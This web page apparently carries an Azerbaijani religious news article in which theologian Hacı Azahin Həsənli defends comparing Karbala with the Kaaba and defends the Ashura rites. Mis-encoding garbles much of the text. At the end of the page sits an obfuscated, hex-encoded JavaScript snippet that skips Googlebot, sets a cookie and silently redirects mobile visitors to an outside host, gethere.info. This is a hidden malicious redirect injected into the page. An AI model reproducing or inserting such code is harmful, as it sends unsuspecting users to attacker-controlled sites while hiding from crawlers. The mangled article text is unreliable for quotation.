INILIFE.RU
Son xəbərlər
Əsas səhifə / Məqalələr / Din / HacA� Azahin HE�sE�nli – KE�rbE�la ilE� KE�bE� mA?qayisE� olunarkE�n fiziki torpaq yox, onlarA�n tE�rE�nnA?m etdiyi ideyalar mA?qayisE� olunur

HacA� Azahin HE�sE�nli – KE�rbE�la ilE� KE�bE� mA?qayisE� olunarkE�n fiziki torpaq yox, onlarA�n tE�rE�nnA?m etdiyi ideyalar mA?qayisE� olunur

65d88f506c471f5222f48a6e7211b618

A�a�?A�mam HA?seynin (E�) KE�rbE�lasA� ilE� tanA�AY olmadan hE�qiqi A�slamA� anlamaq mA?mkA?n deyila�?

 

 

AzE�rbaycanda AAYura mE�rasimlE�ri hE�r il olduAYu kimi, bu il dE� A�zA? ilE� A�A�oxlu A�sayda mA?zakirE�lE�r, iddia vE� ittihamlara sE�bE�b oldu. TE�E�ssA?f ki, bir sA�ra A�iddialar E�saslA� olmamaqla yanaAYA�, mE�qsE�dli AYE�kildE� min illik AAYura adE�tlE�rinE� kA�lgE� salmaq, ME�hE�rrE�m ayA� mE�rasimlE�rinin A�slam dinindE�n olmamasA�na sA�ykE�nirdi.

QE�ribE� dE� olsa bu iddialarA�n bir A�oxunun mA?E�llifi nE�inki din mA?tE�xE�ssisi, dindar deyildi, E�ksinE�, dinsiz olduAYunu iddia edE�nlE�r idi. Ortaya atA�lan E�n ciddi iddialardan biri dE� AAYura hadisE�lE�rinin AYiE�lE�r tE�rE�findE�n daha A�ox qabardA�lmasA�, onun mahiyyE�tinin yA?ksE�ldilmE�si vE� hE�tta bir sA�ra A�slam ehkamlarA�ndan yA?ksE�yE� qaldA�rA�lmasA� vE� dolayA�sA� ilE� dinE� tE�hrif kimi tE�qdim olunmasA� idi. XA?susE�n dE� son olaraq bir neA�E� AYair vE� mE�rsiyE�xanA�n KE�rbE�la hadisE�si ilE� baAYlA� oxuduAYu AYeir vE� qE�sidE�lE�rdE� KE�rbE�lanA�n E�zE�mE�tinin tE�riflE�nmE�si vE� onun ME�kkE�dE�n daha A?stA?n tutulmasA� ilE� baAYlA� iddialar var idi.

QE�ribE� dE� olsa bu cA?r damAYalara hE�dE�f olanlardan biri nA?fuzlu ilahiyyatA�A� HacA� Azahin HE�sE�nli oldu. Sosial AYE�bE�kE�lE�rdE� yayA�lan mE�lumatlarda ilahiyyatA�A�nA�n KE�rbE�lanA� ME�kkE�dE�ki KE�bE�dE�n A?stA?n tutmasA� ona qarAYA� tE�nqidlE�rE� sE�bE�b olub.

ahlibeyt.az-A�n verdiyi xE�bE�rE� gA�rE� mA�vzu ilE� baAYlA� fikrilE�rini a�?Yeni MA?savata�?la bA�lA?AYE�n HacA� Azahin HE�sE�nli onun A�A�xA�AYlarA�nA�n bilE�rE�kdE�n kontekstdE�n A�A�xarA�laraq tE�hrif edildiyini vE� AAYura mE�rasimlE�rinE� kA�lgE� salmaq mE�qsE�di gA?dA?ldA?yA?nA? bildirib.KE�rbE�la vE� KE�bE�nin mA?qayisE�sinin tarix boyu AYairlE�rin qE�lE�mindE�n A�A�xdA�AYA�nA� qeyd edE�n hE�msA�hbE�timizin sA�zlE�rinE� gA�rE�, bu mA?qayisE�lE�rin mE�qsE�di KE�bE�nin hA�rmE�tini azaltmaq yox, KE�rbE�lanA�n mE�nE�vi A?stA?nlA?yA?nA? A�atdA�rmaq olub: a�?Qurani KE�rim BE�yyinE� surE�sinin 7-ci ayE�sindE� a�?A�man gE�tirib yaxAYA� E�mE�llE�r edE�nlE�r isE� yaradA�lmA�AYlarA�n E�n yaxAYA�larA�dA�r” – deyE� buyurulur. AzA?bhE�siz ki, iman gE�tirib yaxAYA� E�mE�l edE�nlE�rin A�nA?ndE� duranlar A�mam HA?seyn vE� onun sE�habE�lE�ridir. HE�dislE�rdE� dE� KE�rbE�la ilE� KE�bE� mA?qayisE� olunanda fiziki torpaq yox, onlarA�n tE�rE�nnA?m etdiyi ideyalar mA?qayisE� olunur. HE�cc Allaha bE�ndE�liyi vE� itaE�ti, KE�rbE�la fE�dakarlA�q vE� eAYqi cilvE�lE�ndirir. A�brahimin qurbanA� qoA�la E�vE�z olundusa, HA?seynin qurbanlarA� onun E�n E�ziz insanlarA� oldu. HacE�rE� sE�brE� gA�rE� zE�mzE�m verildisE�, ZeynE�b KE�rbE�laya sE�bir etdikdE�n sonra E�sir dA?AYdA?. Bu cE�hE�tdE�n, KE�rbE�lanA�n tE�msil etdiyi ideya HE�ccE� mE�na verir. FE�dakarlA�q olmasa, ibadE�t mE�nasA�zlaAYA�r. EAYq olmasa itaE�t ruhunu itirir”.

HacA� Azahin deyir ki, hE�dis vE� rE�vayE�tlE�rdE� dinin ruhunu canlandA�ran E�mE�llE�rin E�hE�miyyE�tini vurAYulayan ilk baxA�AYdan qE�ribE� gA�rA?nE�n mA?qayisE�lE�r var: a�?ME�sE�lE�n, PeyAYE�mbE�r (s) buyurub ki, bir kiAYinin A�z xanA�mA�na ev iAYindE� kA�mE�k etmE�si orucdan vE� gecE� ibadE�tindE�n A?stA?ndA?r. A�lahiyyatA�A� deyir ki, bu hE�dis orucu yaxud gecE� namazA�nA� aAYaAYA�lamA�r, E�ksinE�, izah etmE�k istE�yir ki, insan tE�vazA�kar vE� mehriban olmalA�dA�r. YE�ni E�gE�r orucla gecE� namazA� insanda bu xA?susiyyE�tlE�ri yaratmA�rsa, evdE� xanA�ma yardA�m etmE�k kiAYidE� mA?sbE�tE� doAYru dE�yiAYiklik yaradar. DigE�r bir hE�disdE� deyilir ki, mA�minin hA�rmE�ti KE�bE�dE�n A?stA?ndA?r. Bu hE�dis Allah evini aAYaAYA�lamA�r, E�ksinE�, bildirmE�k istE�yir ki, daAYdan ibarE�t olan vE� rE�mzi xA?susiyyE�t daAYA�yan KE�bE� evindE�n daha A?stA?n olan AllahA� qE�lbindE� yaAYadan insandA�r. ??gE�r Allah sevgisi olan qE�lbE� hA�rmE�t qoyulmazsa, KE�bE�yE� edilE�n hA�rmE�tin mE�nasA� olmaz. Qurani-KE�rimin a�?BE�qE�rE�” surE�sinin 253-cA? ayE�sindE� isE� Allah buyurur: a�?Bu peyAYE�mbE�rlE�rin bE�zisini digE�rindE�n A?stA?n etdika�?. Bu o demE�k deyil ki, Quran ayE�si bE�zi peyAYE�mbE�rlE�ri mA?qayisE� etmE�klE� tE�hqir edir. ??sla! AyE� peyAYE�mbE�rlE�rin mE�rifE�tinE� gA�rE� fE�rqli mE�qamlara sahib olduAYunun tE�bii bir hal olduAYunu A�atdA�rA�r. Yaxud hE�dislE�rdE� buyurulur ki, alimin mA?rE�kkE�bi AYE�hid qanA�ndan A?stA?ndA?r. Bu hE�disin mE�qsE�di elmin E�hE�miyyE�tini vurAYulamaqdA�r, AYE�hidi alA�altmaq yox. XE�stE� dA?AYA?ncE�li insan hE�r bir AYeydE� sE�hv vE� A�irkinlik axtardA�AYA� kimi, saAYlam dA?AYA?ncE�li insan hikmE�t axtarar vE� gA�zE�llik gA�rE�r. Bu sE�bE�bdE�ndir ki, ayE� vE� hE�dislE�rE� bE�sirE�t vE� mE�ntiqlE� baxmaq gE�rE�kdir”.

A�mam HA?seyn (E�) dini mA?tilikdE�n sA�AYortaladA�, ona hE�yat verdi, namaza, oruca, HE�ccE� yeni nE�fE�s gE�tirdi…a�?

Az.HE�sE�nli E�mindir ki, KE�rbE�la hadisE�si A�slamA� yaAYadan bir tE�kan olub: a�?1300 ildir KE�rbE�la olaylarA�nA�n yaAYadA�laraq bu gA?nE� gE�tirib A�atdA�rA�lmasA�nA�n alt qatA�nda A�slamA�n diri saxlanmasA� mE�qsE�dinE� xidmE�t edib. KE�rbE�la matE�mi yalnA�z A�mam HA?seyn (E�) A?A�A?n deyil, hE�m dE� dinE� qarAYA� tE�hriflE�rE� tutulan yasdA�r. A�mam HA?seynin (E�) KE�rbE�lasA� yaAYadA�qca E�sl A�slam da yaAYadA�. KE�rbE�la elE� bir cazibE� yaratdA� ki, bA?tA?n anti-tE�bliAYata rE�AYmE�n, dA?AYmE�nlE�rin bA?tA?n sE�fE�rbE�rliyinE� baxmayaraq, A�mam HA?seynin (E�) adA� yaAYadA�. A�nsanlar KE�rbE�la ziyarE�tinE� axA�AYar, AAYura gA?nA? E�za saxlayardA�. Bu yalnA�z A�mam HA?seynE� (E�) olan yas deyildi, bu mA?sE�lmanlarA�n dE�yE�rlE�ndirE� bilmE�diyi A�slama tutulan yas idi. GA�z yaAYlarA� E�slindE� tE�hriflE�rE�, bidE�tlE�rE�, tE�rs yozumlara, zA?lmE� mE�ruz qalan A�slama axA�dA�lA�rdA�. ME�gE�r Quran vE� PeyAYE�mbE�r hE�dislE�rini hE�rfi mE�nada baAYa dA?AYA?b yaxud sE�hv yozub yer A?zA?ndE� zA?lm tA�rE�tmE�k, Allah vE� PeyAYE�mbE�rE� (s) qarAYA� E�n bA�yA?k hE�qarE�t deyil? ME�gE�r buna acA�maq, A�mam HA?seynin mE�zlumluAYu timsalA�nda buna aAYlamaAYa dE�ymE�zmi? ME�gE�r A�mam HA?seynin (E�) KE�rbE�lasA� ilE� tanA�AY olmadan hE�qiqi A�slamA� anlamaq mA?mkA?ndA?rmA??a�?

HacA� AzahinE� gA�rE�, A�mam HA?seyn (E�) dini quru qanun toplusu formasA�na dA?AYmE�kdE�n qorudu vE� onun abstrakt fE�lsE�fi cE�rE�yana A�evrilmE�sinin qarAYA�sA�nA� aldA�: a�?A�mam HA?seyn (E�) dini mA?tilikdE�n sA�AYortaladA�. A�mam HA?seyn dinE� hE�yat verdi, namaza, oruca, HE�ccE� yeni nE�fE�s verdi. Ona gA�rE� dE� AAYura gA?nA? insanlarA�n HA?seynE� tE�rE�f yA�nE�ldiyini gA�rE�nlE�r dinc qala bilmirlE�r. Odur ki, KE�rbE�la mE�ktE�bini lE�kE�lE�mE�yE� A�alA�AYA�rlar. KE�rbE�lasA�z A�slam tE�rE�fdarlarA� baAYqa A�lkE�dE� dinc insanlarA�n qanA�nA� tA�kE�nlE�ri, onlar kimi dA?AYA?nmE�yE�nlE�rin baAYA�nA� kE�sE�nlE�ri mA?cahid vE� AYE�hid sayacaq. KE�rbE�lasA�z A�slam fokusla insanlarA� aldadana mA?rAYid deyE�cE�k. KE�rbE�lasA�z A�slam yad mE�dE�niyyE�tlE�ri kor-koranE� tE�qlid edE�cE�k vE� bunu islahat adlandA�racaq. Bundan E�lavE�, A�slamA� bir tE�rE�fdE�n A�terror dini kimi tE�qdim etmE�k, baAYqa tE�rE�fdE�n mA?sE�lmanlarA� mA?ti gA�rmE�k istE�yE�n supergA?clE�r dE� KE�rbE�lanA� niAYana alA�rlar. TE�sadA?fi deyil ki, hE�r il AAYura mE�rasimlE�rindE�n sonra KE�rbE�la mE�ktE�binE� qarAYA� hA?cumlar aktivlE�AYir.

KimilE�ri AAYuranA� A�slam adA� ilE� vurur, kimilE�ri AAYuranA� qeyri-milli, yad E�nE�nE� adlandA�rA�r, kimilE�ri cE�halE�tE� sA?rA?klE�yE�n ayin. A�ldE� bir gA?n bA?tA?n xalq mE�scidlE�rE� axA�AYA�r, bir-birinE� ehsan edir, mE�hE�bbE�t gA�stE�rir, 1400 il A�ncE� AYE�hid olmuAY imama aAYlamaqla hE�m AYE�hadE�t amallarA�na, hE�m tE�mE�nnasA�z mE�hE�bbE�tE� sahib olduqlarA�nA� gA�stE�rir. Bu adE�t 70 illik sovet qadaAYalarA�nA� aAYa bildi vE� milli kimliyi qoruyan E�sas amilE� A�evrildi. BA?tA?n E�ks-tE�bliAYata rE�AYmE�n, insanlar yenE� dE� AAYuraya sE�daqE�tini nA?mayiAY etdirir. NE�inki mA?sE�lman mE�zhE�blE�rindE�n, hE�tta baAYqa dindE�n dE� mE�scidlE�rE� gE�lE�nlE�r olur. AAYura mE�rasimi nE�inki siyasi bir aksiya deyil, hE�tta bir A�lkE� hA?dudlarA�nda konfessional sE�rhE�dlE�rini aAYaraq bE�AYE�rilE�AYir. BelE� bir milli vE�hdE�ti, gA�rA?nA?r, hE�r kE�s hE�zm edE� bilmir. A�DindE�n siyasi mE�nfE�E�t kimi, manqurtlaAYma alE�ti kimi istifadE� etmE�k, mA?sE�lman A?mmE�tini cE�halE�t vE� zillE�tE� dartmaq istE�yE�nlE�r bu vE� ya digE�r formada KE�rbE�la ilE� mA?barizE� aparmaAYa mE�cburdurlar. Bu hE�miAYE� belE� olub vE� belE� dE� olacaqa�?. (Ahlibeyt.az)

xacmazmescidi.com

 

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Scroll To Top